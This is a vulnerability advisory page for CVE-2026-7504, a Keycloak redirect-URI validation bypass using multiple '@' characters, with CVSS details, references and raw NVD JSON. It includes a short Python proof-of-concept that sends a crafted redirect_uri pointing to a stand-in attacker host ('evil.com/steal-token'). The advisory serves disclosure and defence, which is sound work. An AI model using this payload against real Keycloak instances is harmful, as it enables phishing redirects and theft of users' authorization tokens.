Security Vulnerability Report
中文
CVE-2026-7504 CVSS 8.1 HIGH

CVE-2026-7504

Published: 2026-05-19 12:16:20
Last Modified: 2026-05-20 17:16:29

Description

A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to unauthorized URLs, potentially leading to the exposure of sensitive information within the domain or facilitating further attacks. This vulnerability specifically affects Keycloak clients configured with a wildcard (*) in the "Valid Redirect URIs" field and requires user interaction to be successfully exploited. The issue stems from a discrepancy in how Keycloak and the underlying Java URI implementation handle the user-info component of a URL. If a malicious redirect URL is constructed using multiple @ characters in the user-info section, Java's URI parser fails to extract the user-info, leaving only the raw authority field. Consequently, Keycloak's validation check fails to detect the malformed user-info, falls back to a wildcard comparison, and incorrectly permits the malicious redirect.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考 RHSA-2026:19594 等官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target Keycloak instance endpoint target_url = "https://target-keycloak.com/auth/realms/myrealm/protocol/openid-connect/auth" # Construct a malicious URL with multiple '@' characters in the user-info section # This bypasses Keycloak's validation due to Java URI parsing quirks malicious_redirect_uri = "http://attacker-controlled.com@@evil.com/steal-token" params = { "client_id": "public-client", "redirect_uri": malicious_redirect_uri, "response_type": "code", "scope": "openid profile" } # Send the request to test the vulnerability response = requests.get(target_url, params=params) # Check if the server redirects or accepts the malicious URI print(f"Status Code: {response.status_code}") print(f"Location Header: {response.headers.get('Location')}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7504", "sourceIdentifier": "[email protected]", "published": "2026-05-19T12:16:19.553", "lastModified": "2026-05-20T17:16:28.723", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak's URL validation logic during redirect operations. By crafting a malicious request, an attacker could bypass validation to redirect users to unauthorized URLs, potentially leading to the exposure of sensitive information within the domain or facilitating further attacks. This vulnerability specifically affects Keycloak clients configured with a wildcard (*) in the \"Valid Redirect URIs\" field and requires user interaction to be successfully exploited.\n\nThe issue stems from a discrepancy in how Keycloak and the underlying Java URI implementation handle the user-info component of a URL. If a malicious redirect URL is constructed using multiple @ characters in the user-info section, Java's URI parser fails to extract the user-info, leaving only the raw authority field. Consequently, Keycloak's validation check fails to detect the malformed user-info, falls back to a wildcard comparison, and incorrectly permits the malicious redirect."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:19594", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19595", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19596", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19597", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-7504", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2464128", "source": "[email protected]"}]}}